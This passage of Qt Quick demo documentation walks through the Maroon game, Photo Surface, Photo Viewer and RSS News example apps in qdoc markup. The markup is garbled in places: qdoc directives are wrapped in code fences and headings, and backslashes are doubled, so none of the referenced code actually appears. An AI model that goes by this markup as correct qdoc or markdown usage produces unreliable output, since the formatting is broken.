are facing until they get off the screen. If they were facing front, we use the `\c jumpTo` method with the JavaScript `\c {Math.random()}` method in the `\c die()` private function to randomly jump to the `\c "left"` or `\c "right"` sprite:

```
\quote fromfile demos/maroon/content/mobs/MobBase.qml
```

```
\skipto die()
```

```
\printuntil }
```

We then use the `\c start()` function to run a `NumberAnimation` that applies a number animation to the `x` value from its current value to `\c -360` or `\c 360`, depending on whether the `\c goingLeft` custom property is `\c true`, in 300 milliseconds:

```
\skipto NumberAnimation
```

```
\printuntil }
```

## `\section2 Bursting Bubbles`

We use another `SpriteSequence` to animate the bubbles so that they become smaller and finally burst when they are attacked by a shooter or a melee. For this effect, we set the value of the `\c scale` property to decrease by `\c 0.2` each time the custom `\c hp` property changes:

```
\skipto SpriteSequence
```

\printuntil goalSprite

We use a `\{Behavior}` type to apply a `NumberAnimation` when the value of `\c scale` changes. We use the `\c{Easing.OutBack}` easing type for a back (overshooting cubic function:  $(s+1)*t^3 - s*t^2$ ) easing out curve that decelerates the motion to zero velocity in 150 milliseconds:

\skipto Behavior

\printuntil }

\printuntil }

The `SpriteSequence` consist of two sprites that display different images. The first sprite, `\c "big"`, uses the `catch.png` image to display an empty bubble:

\skipto Sprite

\printuntil }

\printuntil }

We set the `\c to` property to `\c "burst"` with the weight `\c 0` to make the second sprite, `\c "burst"`, a valid goal for the `\c jumpTo` method that we use in the `\c die()` private function to jump directly to the `\c "burst"` sprite without playing the first sprite.

In the `\c "burst"` sprite, we set the `\c frameCount` property to `\c 3` and the `\c frameX` property to `\c 64` to specify that the animation starts at pixel

location 64 and loads each frame for the duration of 200 milliseconds.

\skipto Sprite

\printuntil }

Within the SpriteSequence, we use SequentialAnimation with NumberAnimation to animate the transitions between the frames. To create a pulsating effect on the bubbles, we apply a sequential animation on the \c width property with two number animations to first increase the bubble width from  $\c{* 1}$  to  $\c{* 1.1}$  over 800 milliseconds and then bring it back over 1 second:

\skipto SequentialAnimation

\printuntil }

\printuntil }

\printuntil }

Similarly, we increase the bubble height from  $\c{* 1}$  to  $\c{* 1.15}$  over 1200 milliseconds and then bring it back over 1 second:

\skipto SequentialAnimation

\printuntil }

\printuntil }

\printuntil }

We use yet another `SpriteSequence` to display the effect of squid ink on the bubbles. For more examples of using sprite sequences, see the QML files in the `\c towers` directory.

## `\section1 Adding Dialogs`

`\image qtquick-demo-maroon-med-5.jpg`

In `GameCanvas.qml`, we use an `\{Image}` type with some custom properties to create a menu where the players can buy tower objects:

```
\quotefromfile demos/maroon/content/GameCanvas.qml
```

```
\skipto Image
```

```
\printuntil towerExists
```

We set the `\c visible` property to `\c false` to hide the menu by default. The `\c z` property is set to 1500 to ensure that the menu is displayed in front of all other items when it is visible.

We use a `MouseArea` type to open or close the menu when players tap on the canvas:

```
\quotefromfile demos/maroon/content/GameCanvas.qml
```

```
\skipto MouseArea
```

```
\printuntil }
```

```
\printuntil }
```

We set the `\c anchors.fill` property to `\c parent` to allow the players to tap anywhere on the game canvas. We use a condition in the `\c onClicked` signal handler to call the `\c {finish()}` function if the menu is visible and the `\c {open()}` function otherwise.

The `\c {finish()}` function hides the menu by setting the `\c shown` custom property to `\c false`:

```
\skipto finish
```

```
\printuntil }
```

The `\c {open()}` function displays the menu at the x and y position of the mouse pointer:

```
\printuntil }
```

If `\c gameRunning` is `\c true`, we call the JavaScript `\c row()` function to calculate the value of the `\c targetRow` custom property and the `\c col()` function to calculate the value of the `\c targetCol` custom property. If the value of `\c targetRow` equals `\c 0`, the y position is set to one square above the mouse pointer. Otherwise, it is set to one square below the mouse pointer.

We use the `\c towerIdx()` function to set the value of the `\c towerExists` custom property.

We set the `\c shown` custom property to `\c true` to show the menu and call the `\c {helpButton.goAway()}` function to hide the help button when the menu opens.

We use states and transitions to display the menu when the `\c shown` property is `\c true` and the `\c gameOver` property is `\c false`:

```
\printuntil OutElastic  
\printuntil }
```

To set the visibility of the menu to `\c "visible"` without animating the property change, we use a `PropertyAction` type. We do want to animate the changes in opacity and scale, though, so we use number animation to animate the value of the `\c scale` property from `\c 0.9` to `\c 1` and the value of `\c opacity` property from `\c 0.7` to `\c 1`, over 500 milliseconds. We use the `\c {Easing.outElastic}` easing type for an elastic (exponentially decaying sine wave) function easing curve that decelerates from zero velocity.

To construct the menu, we use a `BuildButton` custom type that is defined in `BuildButton.qml`. In `GameCanvas.qml`, we create one build button for each tower object that the players can buy and position them in a `\{Row}` layout

in front of the menu background image, dialog.png:

```
\printuntil dialog-factory.png
```

```
\printuntil }
```

```
\printuntil }
```

```
\printuntil }
```

For each build button, we set the values of `\c towerType` and `\c index custom` properties that we define in `BuildButton.qml`.

We use the `\c canBuild` custom property to prevent players from adding tower objects in locations where tower objects already exist.

We use the `\c source` property to display the image for the tower type.

The `\c onClicked` signal handler is called to execute the `\c finish()` function that closes the menu when the players tap an enabled build button.

Build buttons are enabled when the players have enough coins to buy the tower objects. We use an `\l {Image}` type in `BuildButton.qml` to display images on the buttons:

```
\quotefromfile demos/maroon/content/BuildButton.qml
```

```
\skipto Image
```

```
\printuntil }
```

We use the `\c opacity` property to make the buttons appear enabled. If `\c canBuild` is `\c true` and the value of the `\c gameCanvas.coins` property is larger than or equal to the cost of a tower object, the images are fully opaque, otherwise their opacity is set to `\c 0.4`.

We use a `\l{Text}` type to display the cost of each tower item, as specified by the `\c towerData` variable, depending on `\c towerType`:

```
\skipto Text
\printuntil }
```

To display a pointer on the screen at the position where the tower object will be added, we use the `\l{Image}` type. We use the `\c visible` property to determine whether the `dialog-pointer.png` image should be positioned below or above the menu. When the value of the `\c col` property equals the `\c index` and the value of the `\c row` property is not `\c 0`, we anchor the image to the bottom of its parent, `BuildButton`.

When the value of the `\c row` property is `\c 0`, we anchor the image to the top of `BuildButton` to position the pointer above the menu and use the `\c rotation` property to rotate it by 180 degrees, so that it points upwards:

```
\skipto Image
\printuntil }
```

```
\printuntil }
```

```
\section1 Keeping Track of Game Statistics
```

To keep track of the game statistics, we use the InfoBar custom type (that is defined in InfoBar.qml) in maroon.qml:

```
\quotefromfile demos/maroon/maroon.qml
```

```
\skipto InfoBar
```

```
\printuntil }
```

We use the `\c {anchors.bottom}` and `\c {anchors.bottomMargin}` properties to position the info bar at 6 points from the top of the game canvas. We bind the `\c width` property of the info bar to that of its parent.

In InfoBar.qml, we use an `\l{Item}` type to create the info bar. Within it, we use a `\l{Row}` layout type to display the number of lives the players have left, the number of fish that have been saved, and the amount of coins that are available for use.

We use the `\c anchors` property to position the rows in relationship to their parent and to each other. In the first `\l{Row}` object, we use the `\c {anchors.left}` and `\c {anchors.leftMargin}` properties to position the heart icons at 10 points from the left border of the parent item:

```
\quotefromfile demos/maroon/content/InfoBar.qml
```

```
\skipto Item
```

```
\printuntil }
```

```
\printuntil }
```

```
\printuntil }
```

We use a `{Repeater}` type with a `{model}` and a `{delegate}` to display as many hearts as the players have lives left. We use the `{spacing}` property to leave 5 pixels between the displayed icons.

In the second `{Row}` object, we use the `{anchors.right}` and `{anchors.rightMargin}` properties to position the number of fish saved at 20 points left of the third `{Row}` object that displays the number of coins available (and has the id `{points}`):

```
\skipto Row
```

```
\printuntil /\^\/
```

In these objects, we set `{spacing}` to 5 pixels to separate the icons from the numbers that we display by using a `{Text}` type.

In `GameCanvas.qml`, we define custom properties to hold the game statistics:

```
\quotefromfile demos/maroon/content/GameCanvas.qml
```

```
\skipto score
```

```
\printuntil lives
```

We declare the `\c freshState()` function to set the initial game statistics when a new game starts:

```
\skipto freshState()
```

```
\printuntil }
```

We use the `\c {Logic.gameState.score}` variable in the `\c die()` function that we declare in `MobBase.qml` to increase the score by one when the players set a fish free:

```
\quotefromfile demos/maroon/content/mobs/MobBase.qml
```

```
\skipto score
```

```
\printuntil ;
```

## `\section1 Managing Game States`

In `maroon.qml`, we use a `\l{State}` type and JavaScript to switch between screens according to the game state. The `logic.js` file contains definitions for the functions. To use the functions in a QML file, we import `logic.js` as the `\c Logic` namespace in that file:

```
\quotefromfile demos/maroon/maroon.qml
```

```
\skipto logic.js
```

\printuntil Logic

The base state displays the new game screen when the application starts.

In addition, we call the Component.onCompleted signal handler to initialize a new game:

\skipto newGameState

\printuntil ;

In NewGameScreen.qml we use the \c onClicked signal handler to emit the \c startButtonClicked() signal when the players tap the New Game button:

\quotefromfile demos/maroon/content/NewGameScreen.qml

\skipto to: 150

\skipto Image

\printuntil }

In maroon.qml, we use the \c onStartButtonClicked signal handler to set the \c passedSplash property of the \c root item to \c true:

\quotefromfile demos/maroon/maroon.qml

\skipto NewGameScreen

\printuntil }

We then use the \c passedSplash property in the \c when property of the

\c gameOn state to trigger the \c gameStarter timer:

```
\skipto State {  
\printuntil gameStarter  
\printuntil }
```

We also switch to the \c "gameOn" state and move to the y position  
\c {-(height - 960)} to display the game canvas.

In the \c gameStarter \{Timer} object we use the \c onTriggered signal  
handler to call the \c startGame() function that starts a new game:

```
\quotefromfile demos/maroon/maroon.qml  
\skipto property int  
\skipto Timer  
\printuntil }
```

The game continues until \c gameState.gameOver is set to \c true and  
\c gameState.gameRunning is set to \c false by calling the \c endGame()  
function when the value of the \c gameState.lives property becomes less  
than or equal to \c 0.

In GameOverScreen.qml, we use a MouseArea type and an \c onClicked signal  
handler within an \{Image} type to return to the game canvas when the  
players tap the New Game button:

```
\quotefromfile demos/maroon/content/GameOverScreen.qml
```

```
\skipto opacity: 0.5
```

```
\skipto Image
```

```
\printuntil }
```

```
\printuntil }
```

The `onClicked` signal handler triggers a state change in `maroon.qml` to display the game canvas:

```
\quotefromfile demos/maroon/maroon.qml
```

```
\skipto target: gameStarter
```

```
\skipto State
```

```
\printuntil }
```

```
\printuntil }
```

## \section1 Playing Sound Effects

The app can play sound effects if the `Qt Multimedia` module is installed.

In the `SoundEffect.qml` file, we proxy a `SoundEffect` type:

```
\quotefromfile demos/maroon/content/SoundEffect.qml
```

```
\skipto Item
```

```
\printuntil }
```

```
\printuntil }
```

We add the `\c qtHaveModule()` qmake command to the app .pro file, `maroon.pro`, to check whether the `\{Qt Multimedia}` module is present:

```
\quotefromfile demos/maroon/maroon.pro
```

```
\skipto QT
```

```
\printuntil multimedia
```

In each QML file that defines a custom type used on the game canvas, we use a `SoundEffect` type to specify the audio file to play for that type of objects. For example, in `Bomb.qml`, we specify the sound that a bomb makes when it explodes:

```
\quotefromfile demos/maroon/content/towers/Bomb.qml
```

```
\skipto SoundEffect
```

```
\printuntil }
```

To play the sound effect when a bomb explodes, we call the `\c sound.play()` function that we declare as a member of the private `\c fire()` function within the `TowerBase` custom type:

```
\quotefromfile demos/maroon/content/towers/Bomb.qml
```

```
\skipto fire()
```

```
\printuntil }
```

For more examples of playing sound effects, see the QML files in the  
\\c towers directory and MobBase.qml.

## \\section1 Adding Keyboard Shortcuts

This is a touch example, so you should not really need to handle key presses. However, we do not want you to have to spend more time playing the game than you want to while testing it, so we use the \\c {Keys.onPressed} signal handler to specify keyboard shortcuts. You can press Shift+Up to increment the values of the \\c coins property to add coins, Shift+Left to increment the value of \\c lives, Shift+Down to increment the value of the \\c waveProgress property to spawn mobs of fish faster, and Shift+Right to call the \\c endGame() function to quit the game:

```
\\quote from file demos/maroon/content/GameCanvas.qml
```

```
\\skipto Keys
```

```
\\printuntil }
```

## \\section1 Packaging Resources for Deployment

To be able to run the app on mobile devices, we package all QML, JavaScript, image, and sound files into a Qt resource file (.qrc). For more information, see \\l{The Qt Resource System}.

```
\title Qt Quick Demo - Photo Surface
```

```
\ingroup qtquickdemos
```

```
\example demos/photosurface
```

```
\brief A QML app for touch devices that uses a Repeater with a
```

```
FolderListModel to access content in a folder, and a PinchArea that contains
```

```
a MouseArea to handle pinch gestures on the fetched content.
```

```
\image qtquick-demo-photosurface-small.png
```

```
\e{Photo Surface} demonstrates how to use a \l{Repeater} with a
```

```
FolderListModel and a FileDialog to access images from a folder selected
```

```
by a user and how to handle dragging, rotation and pinch zooming within the
```

```
same item using a \l PinchArea that contains a \l MouseArea.
```

```
All the app code is contained in one QML file, photosurface.qml. Inline
```

```
JavaScript code is used to place, rotate, and scale images on the photo
```

```
surface.
```

```
\include examples-run.qdocinc
```

```
\section1 Creating the Main Window
```

To create the main window for the Photo Surface app, we use the `Window` QML type as the root item. It automatically sets up the window for use with `Qt Quick` graphical types:

```
\quote fromfile demos/photosurface/photosurface.qml
\skipto Window {
\printuntil currentFrame
```

To use the `Window` type, we must import it:

```
\code
import QtQuick.Window 2.1
\endcode
```

## Accessing Folder Contents

We use a `Repeater` QML type together with the `FolderListModel` to display GIF, JPG, and PNG images located in a folder:

```
\quote fromfile demos/photosurface/photosurface.qml
\skipto Repeater
\printuntil }
```

To use the `FolderListModel` type, we must import it:

\code

```
import Qt.labs.folderlistmodel 1.0
```

\endcode

We use a `FileDialog` to enable users to select the folder that contains the images:

```
\quotefromfile demos/photosurface/photosurface.qml
```

```
\skipto FileDialog
```

```
\printuntil }
```

To use the `FileDialog` type, we must import `\{Qt Quick Dialogs}`:

\code

```
import QtQuick.Dialogs 1.0
```

\endcode

We use the `\c {fileDialog.open()}` function to open the file dialog when the app starts:

\code

```
Component.onCompleted: fileDialog.open()
```

\endcode

Users can also click the file dialog icon to open the file dialog. We use an `Image` QML type to display the icon. Inside the `Image` type, we use a `MouseArea` with the `onClicked` signal handler to call the `fileDialog.open()` function:

```
\quote fromfile demos/photosurface/photosurface.qml
```

```
\skipuntil Image {
```

```
\skipto Image {
```

```
\printuntil }
```

```
\printuntil }
```

## \section1 Displaying Images on the Photo Surface

We use a `Rectangle` as a delegate for a `Repeater` to provide a frame for each image that the `FolderListModel` finds in the selected folder. We use JavaScript `Math()` methods to place the frames randomly on the photo surface and to rotate them at random angles, as well as to scale the images:

```
\quote fromfile demos/photosurface/photosurface.qml
```

```
\skipto Rectangle
```

```
\printuntil }
```

## \section1 Handling Pinch Gestures

We use a `PinchArea` that contains a `MouseArea` in the photo frames to handle

dragging, rotation and pinch zooming of the frame:

```
\printuntil onPinchStarted
```

We use the `\c pinch group` property to control how the photo frames react to pinch gestures. The `\c pinch.target` sets `\c photoFrame` as the item to manipulate. The rotation properties specify that the frames can be rotated at all angles and the scale properties specify that they can be scaled between `\c 0.1` and `\c 10`.

In the `MouseArea`'s `\c onPressed` signal handler, we raise the selected photo frame to the top by increasing the value of its `\c z` property. The root item stores the `z` value of the top-most frame. The border color of the photo frame is controlled in the `\c onEntered` signal handler to highlight the selected image:

```
\printuntil onEntered
```

To enable you to test the example on the desktop, we use the `MouseArea`'s `\c onWheel` signal handler to simulate pinch gestures by using a mouse:

```
\printuntil photoFrame.y
```

```
\printuntil }
```

```
\printuntil }
```

```
\printuntil }
```

The `\c onWheel` signal handler is called in response to mouse wheel gestures.

Use the vertical wheel to zoom and Ctrl and the vertical wheel to rotate

frames. If the mouse has a horizontal wheel, use it to rotate frames.

\title Qt Quick Demo - Photo Viewer

\ingroup qtquickdemos

\example demos/photoviewer

\brief A QML photo viewer that that uses XmlListModel and XmlRole to  
download Flickr feeds, and Package to display the photos in different views.

\image qtquick-demo-photoviewer-small.png

\e{Photo Viewer} demonstrates the following \l{Qt Quick} features:

\list

\li Using custom types to create screens and screen controls.

\li Using Qt Quick Controls to create an application window.

\li Using the \l Package type with a \l DelegateModel to provide

delegates with a shared context to multiple views.

- \li Using XML list models to download Flickr feeds.

- \li Using the \l Flipable type to create labels with different text on the front and back.

- \li Using the PathView, \l Path, PathAttribute, and PathLine types to lay out photos on a path.

- \li Providing feedback to users while data is loading.

- \li Localizing applications.

\endlist

\include examples-run.qdocinc

## \section1 Using Custom Types

In the Photo Viewer app, we use the following custom types that are each defined in a separate .qml file:

\list

- \li \c AlbumDelegate.qml

- \li \c BusyIndicator.qml

- \li \c Button.qml

- \li \c EditableButton.qml

- \li \c PhotoDelegate.qml

- \li \c ProgressBar.qml

- \li \c RssModel.qml

```
\li \c Tag.qml
```

```
\endlist
```

To use the custom types, we add an import statement to the main QML file, main.qml, that imports the folder called \c PhotoViewerCore where the types are located:

```
\quote fromfile demos/photoviewer/main.qml
```

```
\skipto PhotoViewerCore
```

```
\printuntil "
```

```
\section1 Creating the Main Window
```

In main.qml, we use the ApplicationWindow Qt Quick Control to create the app main window:

```
\printuntil visible
```

We use a ListModel type with \l ListElement types to display photo albums:

```
\skipto ListModel
```

```
\printuntil Prague
```

```
\printuntil }
```

List elements are defined like other QML types except that they contain a

collection of \e role definitions instead of properties. Roles both define how the data is accessed and include the data itself. For each list element, we use the \c tag role to specify the photos to download.

A DelegateModel type is used together with the \l Package type to provide delegates to multiple views. The \c model property holds the model providing data for the delegate model and the \c delegate property specifies the template defining each item instantiated by a view:

```
\printuntil DelegateModel
```

We use a GridView type to lay out the albums as a grid:

```
\printuntil }
```

The \c model property references the package name \c album that we specify in AlbumDelegate.qml. We use the \l Package type to allow the photos to move between different views. The \l Package contains the named items \c browser, \c fullscreen, and \c album:

```
\quote fromfile demos/photoviewer/PhotoViewerCore/AlbumDelegate.qml
```

```
\skipto Package
```

```
\printuntil albumWrapper
```

The named items are used as the delegates by the views that reference the

special `DelegateModel::parts` property to select the model that provides the chosen delegate.

We use a `ListView` type to lay out albums in other views:

```
\quote from file demos/photoviewer/main.qml
```

```
\skipto ListView
```

```
\printuntil }
```

```
\skipto ListView
```

```
\printuntil }
```

```
\section1 Displaying Photos
```

We use the `PhotoDelegate` custom type that is specified in `PhotoDelegate.qml` to display photos. We use a `ListView` type to lay out the photos either in a stack, list, or a grid:

```
\quote from file demos/photoviewer/PhotoViewerCore/PhotoDelegate.qml
```

```
\skipto Package
```

```
\printuntil gridItem
```

The photos are rotated at random angles by using the `Math.random()` JavaScript method:

```
\printuntil stackItem
```

We use a `BorderImage` type to create borders for the images:

```
\printuntil border.left
```

```
\printuntil }
```

```
\section1 Downloading Flickr Feeds
```

In `AlbumDelegate.qml`, we use the `DelegateModel` to provide the `PhotoDelegate` delegate to the `RssModel` model:

```
\quotefromfile demos/photoviewer/PhotoViewerCore/AlbumDelegate.qml
```

```
\skipto DelegateModel
```

```
\printuntil RssModel
```

```
\printuntil }
```

In `RssModel.qml`, we use an `XmlListModel` type as a data source for `Package` objects to download photos from the selected feeds:

```
\quotefromfile demos/photoviewer/PhotoViewerCore/RssModel.qml
```

```
\skipto XmlListModel
```

```
\printuntil encodeTags
```

We use the `\c tags` custom property to specify which photos to download. The

`\c encodeTags` custom function uses the `\c encodeURIComponent` JavaScript

method to ensure that the requests to the server are correctly formatted.

We use the `\c source` property to fetch photos that have the specified tags attached from public Flickr feeds:

```
\printuntil namespaceDeclarations
```

The `\c query` property specifies that the `XmlListModel` generates a model item for each feed entry.

The `\c namespaceDeclarations` property specifies that the requested document uses the namespace `\c{http://www.w3.org/2005/Atom}`, which is declared as the default namespace.

We use the `XmlRole` type to specify the model item attributes. Each model item has the `\c title`, `\c content`, and `\c hq` attributes that match the values of the corresponding feed entry:

```
\printuntil hq
```

```
\section1 Creating Flipable Labels
```

When users select the `\b Edit` button, the album labels are flipped from their front side to their back side and the text on them changes from album name to `\b Remove`.

In AlbumDelegate.qml, we use the Tag custom type to specify the text to display on the front and back sides of album labels:

```
\quote fromfile demos/photoviewer/PhotoViewerCore/AlbumDelegate.qml
\skipto Tag
\printuntil onBackClicked
\printuntil }
```

The \c onTagChanged signal handler is used to change the tag based on which the model is populated. The \c onBackClicked signal handler is used to remove the album.

In Tag.qml, we use a \l Flipable type with custom properties and signals to create the labels:

```
\quote fromfile demos/photoviewer/PhotoViewerCore/Tag.qml
\skipto Flipable
\printuntil tagChanged
```

The \c front property holds the EditableButton custom type that enables users to edit the label text:

```
\printuntil onLabelChanged
\printuntil }
```

The `\c back` property holds the `\c Button` custom type that is used to remove the album:

```
\printuntil onClicked
```

```
\printuntil }
```

## `\section1 Laying out Photos on a Path`

In `AlbumDelegate.qml`, we use a `PathView` type to lay out the photos provided by the `\c visualModel.parts.stack` model on a path that has the form of a stack:

```
\quotefromfile demos/photoviewer/PhotoViewerCore/AlbumDelegate.qml
```

```
\skipto PathView
```

```
\printuntil 0.0
```

```
\printuntil }
```

```
\printuntil }
```

The `\c path` property holds the `\l Path` type that defines the path used by the `PathView`. The `PathAttribute` types are used to set a range of

`\c 0` to `\c 9999` for the `\c z` attribute. This way, the path creates a stack

of album photos. Because each `PhotoDelegate` is slightly rotated at a random angle, this results in a realistic-looking stack of photos.

## \section1 Providing Feedback to Users

We use a busy indicator and a progress bar to indicate activity while Flickr feeds and photos are being loaded.

In AlbumDelegate.qml, we use the \c BusyIndicator custom type and the \c on custom property to display a rotating image while the Flickr feed is being loaded:

```
\quote fromfile demos/photoviewer/PhotoViewerCore/AlbumDelegate.qml
\skipto BusyIndicator
\printuntil rssModel
\printuntil }
```

In PhotoDelegate.qml, we use them to indicate activity while a photo is being loaded:

```
\quote fromfile demos/photoviewer/PhotoViewerCore/PhotoDelegate.qml
\skipto BusyIndicator
\printuntil }
```

We define the \c BusyIndicator type in \c BusyIndicator.qml. We use an \l Image type to display an image and apply a NumberAnimation to its \c rotation property to rotate the image in an infinite loop:

```
\quotefromfile demos/photoviewer/PhotoViewerCore/BusyIndicator.qml
```

```
\skipto Image
```

```
\printuntil }
```

```
\printuntil }
```

In your apps, you can also use the BusyIndicator type from the

\l {Qt Quick Controls} module.

In main.qml, we use the \c ProgressBar custom type to indicate progress

while a high quality version of a photo is being opened on full screen:

```
\quotefromfile demos/photoviewer/main.qml
```

```
\skipto ProgressBar
```

```
\printuntil }
```

We define the \c ProgressBar type in \c ProgressBar.qml. We use a

\l Rectangle type to create the progress bar and apply a NumberAnimation to

its \c opacity property to change the color of the bar from black to white

as data loading proceeds:

```
\quotefromfile demos/photoviewer/PhotoViewerCore/ProgressBar.qml
```

```
\skipto Item
```

```
\printuntil /\^\/
```

In your apps, you can also use the ProgressBar type from the

\l {Qt Quick Controls} module.

## \section1 Localizing Applications

The example application is translated into German and French. The translated strings are loaded at runtime according to the current locale.

We use a \l Column type in main.qml to position buttons for adding and editing albums and exiting the application:

```
\quotefromfile demos/photoviewer/main.qml
```

```
\skipto Column
```

```
\printuntil quit()
```

```
\printuntil }
```

```
\printuntil }
```

We use the \l qsTr() command to mark the button labels translatable.

We use the \l lupdate tool to generate the translation source files and the \l lrelease tool to convert the translated strings to the QM files used by the application at runtime. These files are stored in the \c i18n directory.

To make the application aware of the translations, we add code to the \c main() function in the main.cpp file. The code creates a \l QTranslator

object, loads a translation according to the current locale at runtime, and  
installs the translator object into the application:

```
\quotefromfile demos/photoviewer/main.cpp
```

```
\skipto main
```

```
\printuntil app.installTranslator
```

```
\sa {QML Applications}
```

```

\title Qt Quick Demo - RSS News

\ingroup qtquickdemos

\example demos/rssnews

\brief A QML RSS news reader that uses XmlListModel and XmlRole to download

XML data, ListModel and ListElement to create a category list, and ListView

to display the data.

\image qtquick-demo-rssnews-small.png

\e{RSS News} demonstrates the following \l{Qt Quick} features:

\list

- \li Using custom types to create screens and screen controls.
- \li Using list models and list elements to represent data.
- \li Using XML list models to download XML data.
- \li Using list views to display data.
- \li Using the \l Component type to create a footer for the news item  
list view.
- \li Using the \l Image type to create a button for closing the app.

\endlist

\include examples-run.qdocinc

## \section1 Using Custom Types

In the RSS News app, we use the following custom types that are each defined in a separate .qml file:

- \li \c BusyIndicator.qml
- \li \c CategoryDelegate.qml
- \li \c NewsDelegate.qml
- \li \c RssFeeds.qml
- \li \c ScrollBar.qml

\endlist

To use the custom types, we add an import statement to the main QML file,

rssnews.qml that imports the folder called \c content where the types are located:

```
\quotefromfile demos/rssnews/rssnews.qml
```

```
\skipto content
```

```
\printuntil "
```

```
\section1 Creating the Main Window
```

In rssnews.qml, we use a \l{Rectangle} type with custom properties to create the app main window:

```
\printuntil isPortrait
```

We will use the custom properties later for loading XML data and for adjusting the screen layout depending on its orientation.

```
\section1 Creating a Category List
```

In rssnews.qml, we use the RssFeeds custom type that we specify in RssFeeds.qml to create a list of feed categories:

```
\skipto RssFeeds
```

```
\printuntil }
```

In RssFeeds.qml, we use a ListModel type with a ListElement type to create a category list where list elements represent feed categories:

```
\quotefromfile demos/rssnews/content/RssFeeds.qml
```

```
\skipto ListModel
```

```
\printuntil /\}/
```

List elements are defined like other QML types except that they contain a collection of \e role definitions instead of properties. Roles both define how the data is accessed and include the data itself.

For each list element, we use the \c name role to specify the category name, the \c feed role to specify the URL to load the data from, and the \c image role to display an image for the category.

In rssnews.qml, we use a ListView type to display the category list:

```
\quotefromfile demos/rssnews/rssnews.qml
```

```
\skipto ListView
```

```
\printuntil }
```

```
\printuntil }
```

To lay out the category list horizontally at the top of the window in portrait orientation and vertically on the left side in landscape orientation, we use the \c orientation property. Based on the orientation,

we bind either the width or the height of the list to a fixed value (`\c itemWidth`).

We use the `\c anchors.top` property to position the list view at the top of the screen in both orientations.

We use the `\c model` property to load XML data from the `\c rssFeeds` model, and `\c CategoryDelegate` as the delegate to instantiate each item in the list.

## `\section1 Creating List Elements`

In `CategoryDelegate.qml`, we use the `\l Rectangle` type with custom properties to create list elements:

```
\quotefromfile demos/rssnews/content/CategoryDelegate.qml
```

```
\skipto Rectangle
```

```
\printuntil selected
```

We set the `\c selected` property to the `\c ListView.isCurrentItem` attached property to specify that `\c selected` is `\c true` if `\c delegate` is the current item.

We use the `\l Image` type `\c source` property to display the image, centered in the delegate, specified for the list element by the `\c image` role in the

\c rssFeeds list model:

\skipto Image

\printuntil }

We use a \l Text type to add titles to list elements:

\printuntil Behavior

\printuntil }

We use the \c anchors property to position the title at the top of the list element, with a 20-pixel margin. We use \c font properties to adjust font size and text formatting.

We use the \c color property to brighten the text and to scale it slightly larger when the list item is the current item. By applying a \l Behavior to the property, we animate the actions of selecting and deselecting list items.

We use a MouseArea type to download XML data when users tap a category list element:

\skipto MouseArea

\printuntil }

\printuntil }

The `anchors.fill` property is set to `delegate` to enable users to tap anywhere within the list element.

We use the `onClicked` signal handler to load the XML data for the category list. If the tapped category is already current, the `reload()` function is called to reload the data.

## Downloading XML Data

In `rssnews.qml`, we use an `XmlListModel` type as a data source for `ListView` elements to display news items in the selected category:

```
\quotefromfile demos/rssnews/rssnews.qml
```

```
\skipto XmlListModel {
```

```
\printuntil namespaceDeclarations
```

We use the `source` property and the `window.currentFeed` custom property to fetch news items for the selected category.

The `query` property specifies that the `XmlListModel` generates a model item for each `<item>` in the XML document.

We use the `XmlRole` type to specify the model item attributes. Each model item has the `title`, `description`, `image`, `link`, and `pubDate`

attributes that match the values of the corresponding `<item>` in the XML document:

```
\printuntil pubDate
```

```
\printuntil }
```

We use the `<feedModel>` model in a `ListView` type to display the data:

```
\skipuntil ScrollBar
```

```
\skipto ListView
```

```
\printuntil }
```

```
\printuntil }
```

To list the news items below the category list in portrait orientation and to its right in landscape orientation, we use the `<isPortrait>` custom property to anchor the top of the news items list to the left of `<window>` and bottom of `<categories>` in portrait orientation and to the right of `<categories>` and bottom of `<window>` in landscape orientation.

We use the `<anchors.bottom>` property to anchor the bottom of the list view to the bottom of the window in both orientations.

In portrait orientation, we clip the painting of the news items to the bounding rectangle of the list view to avoid graphical artifacts when news items are scrolled over other items. In landscape, this is not required,

because the list spans the entire screen vertically.

We use the `\c model` property to load XML data from the `\c feedModel` model, and use `\c NewsDelegate` as the delegate to instantiate each item in the list.

In `NewsDelegate.qml`, we use a `\l Column` type to lay out the XML data:

```
\quotefromfile demos/rssnews/content/NewsDelegate.qml
```

```
\skipto Column
```

```
\printuntil spacing
```

Within the column, we use a `\l Row` and another column to position images and title text:

```
\skipto Row
```

```
\printuntil font.bold
```

```
\printuntil }
```

```
\printuntil }
```

We generate a textual representation of how long ago the item was posted using the `\c timeSinceEvent()` JavaScript function:

```
\printuntil }
```

```
\printuntil }
```

We use the `\c onLinkActivated` signal handler to open the URL in an external browser when users select the link.

## `\section1 Providing Feedback to Users`

In `CategoryDelegate.qml`, we use the `\c BusyIndicator` custom type to indicate activity while the XML data is being loaded:

```
\quotefromfile demos/rssnews/content/CategoryDelegate.qml
\skipto BusyIndicator
\printuntil }
```

We use the `\c scale` property to reduce the indicator size to `\c 0.8`. We bind the `\c visible` property to the `\c isCurrentItem` attached property of the `\c delegate` list view and `\c loading` property of the main window to display the indicator image when a category list item is the current item and XML data is being loaded.

We define the `\c BusyIndicator` type in `\c BusyIndicator.qml`. We use an `\l Image` type to display an image and apply a `NumberAnimation` to its `\c rotation` property to rotate the image in an infinite loop:

```
\quotefromfile demos/rssnews/content/BusyIndicator.qml
\skipto Image
```

```
\printuntil }
```

```
\printuntil }
```

In your apps, you can also use the `BusyIndicator` type from the `\l {Qt Quick Controls}` module.

## \section1 Creating Scroll Bars

In `rssnews.qml`, we use our own custom `\c ScrollBar` type to create scroll bars in the category and news item list views. In your apps, you can also use the `ScrollView` type from the `\l {Qt Quick Controls}` module.

First, we create a scroll bar in the category list view. We bind the `\c orientation` property to the `\c isPortrait` property and to the `\c Horizontal` value of the `\c Qt::Orientation` enum type to display a horizontal scroll bar in portrait orientation and to the `\c Vertical` value to display a vertical scroll bar in landscape orientation:

```
\quotefromfile demos/rssnews/rssnews.qml
```

```
\skipto ScrollBar
```

```
\printuntil }
```

Same as with the `\c categories` list view, we adjust the width and height of the scroll bar based on the `\c isPortrait` property.

We use the `\c scrollArea` property to display the scroll bar in the `\c categories` list view.

We use the `\c anchors.right` property to anchor the scroll bar to the right side of the category list.

```
\skipto ScrollBar  
\printuntil }
```

Second, we create another scroll bar in the news item list view. We want a vertical scroll bar to appear on the right side of the view regardless of screen orientation, so we can set the `\c width` property to `\c 8` and bind the `\c anchors.right` property to the `\c window.right` property. We use the `\c anchors.top` property to anchor the scroll bar top to the bottom of the category list in portrait orientation and to the top of the news item list in landscape orientation. We use the `\c anchors.bottom` property to anchor the scroll bar bottom to the list view bottom in both orientations.

